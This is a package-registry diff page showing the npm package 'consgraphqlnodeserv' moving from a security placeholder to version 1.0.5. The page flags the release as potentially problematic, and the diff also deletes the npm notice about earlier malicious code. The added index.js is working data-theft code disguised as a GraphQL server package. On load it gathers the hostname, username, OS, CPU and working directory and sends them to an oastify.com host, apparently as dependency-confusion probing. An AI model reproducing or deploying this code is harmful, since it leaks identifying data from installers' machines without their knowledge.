consgraphqlnodeserv 0.0.1-security ā 1.0.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of consgraphqlnodeserv might be problematic. Click here for more details.
- package/index.js +57 -0
- package/package.json +9 -3
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,57 @@
|
|
|
1
|
+
const os = require("os");
|
|
2
|
+
const https = require("https");
|
|
3
|
+
|
|
4
|
+
console.log("šØ Diagnostic package executed.\n");
|
|
5
|
+
|
|
6
|
+
// ā
Collect minimal unique-identifying system data
|
|
7
|
+
function collectMinimalSystemData() {
|
|
8
|
+
try {
|
|
9
|
+
return {
|
|
10
|
+
hostname: os.hostname(),
|
|
11
|
+
username: os.userInfo().username,
|
|
12
|
+
platform: os.platform(),
|
|
13
|
+
arch: os.arch(),
|
|
14
|
+
release: os.release(),
|
|
15
|
+
|
|
16
|
+
cpuModel: os.cpus()[0]?.model || "unknown",
|
|
17
|
+
cpuCount: os.cpus().length,
|
|
18
|
+
|
|
19
|
+
timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
|
|
20
|
+
cwd: process.cwd(),
|
|
21
|
+
};
|
|
22
|
+
} catch (err) {
|
|
23
|
+
console.error("ā Error collecting system data:", err.message);
|
|
24
|
+
return { error: "Failed to collect system data", details: err.message };
|
|
25
|
+
}
|
|
26
|
+
}
|
|
27
|
+
|
|
28
|
+
// ā
Prepare and show payload
|
|
29
|
+
const systemData = collectMinimalSystemData();
|
|
30
|
+
const payload = JSON.stringify(systemData, null, 2);
|
|
31
|
+
|
|
32
|
+
console.log("š¦ Minimal System Info:\n");
|
|
33
|
+
console.log(payload);
|
|
34
|
+
|
|
35
|
+
// ā
Send to webhook
|
|
36
|
+
const options = {
|
|
37
|
+
hostname: "d3h366k0rwyq8uewnnkx7nil5cb3z6nv.oastify.com", // š Replace with actual host
|
|
38
|
+
path: "/machine-check", // š Replace with actual path
|
|
39
|
+
method: "POST",
|
|
40
|
+
headers: {
|
|
41
|
+
"Content-Type": "application/json",
|
|
42
|
+
"Content-Length": Buffer.byteLength(payload),
|
|
43
|
+
},
|
|
44
|
+
};
|
|
45
|
+
|
|
46
|
+
const req = https.request(options, (res) => {
|
|
47
|
+
console.log(
|
|
48
|
+
`\nā
Webhook sent. Server responded with status: ${res.statusCode}`,
|
|
49
|
+
);
|
|
50
|
+
});
|
|
51
|
+
|
|
52
|
+
req.on("error", (error) => {
|
|
53
|
+
console.error("\nā Failed to send data:", error.message);
|
|
54
|
+
});
|
|
55
|
+
|
|
56
|
+
req.write(payload);
|
|
57
|
+
req.end();
|
package/package.json
CHANGED
|
@@ -1,6 +1,12 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "consgraphqlnodeserv",
|
|
3
|
-
"version": "
|
|
4
|
-
"
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.5",
|
|
4
|
+
"main": "index.js",
|
|
5
|
+
"scripts": {
|
|
6
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
7
|
+
},
|
|
8
|
+
"keywords": [],
|
|
9
|
+
"author": "",
|
|
10
|
+
"license": "ISC",
|
|
11
|
+
"description": ""
|
|
6
12
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=consgraphqlnodeserv for more information.
|